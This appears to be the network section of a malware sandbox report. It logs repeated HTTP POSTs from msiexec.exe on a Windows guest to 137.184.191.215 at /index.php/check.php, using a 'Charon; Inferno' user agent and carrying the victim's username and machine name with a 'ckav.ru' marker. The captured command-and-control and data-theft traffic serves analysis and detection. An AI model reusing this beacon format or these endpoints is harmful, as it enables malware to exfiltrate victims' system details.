Oct 2, 2024 07:19:41.575835943 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:39 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:41.576193094 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:41.576204062 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	59095	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:41.718657017 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:41.723886013 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:44.443887949 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:42 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:44.444272041 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:44.444283009 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:44.445385933 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	59096	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:44.598640919 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:44.604525089 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:47.324307919 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:45 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:47.324704885 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:47.324717045 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	59097	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:47.479007959 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:47.483918905 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:49.998955965 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:47 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:49.999345064 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:49.999356985 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	59098	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:50.173902035 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:50.178821087 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:53.439418077 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:50 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:53.439882994 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:53.439892054 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:53.441008091 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>
Oct 2, 2024 07:19:53.441025972 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:50 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	59099	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:53.589097977 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:53.593930006 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
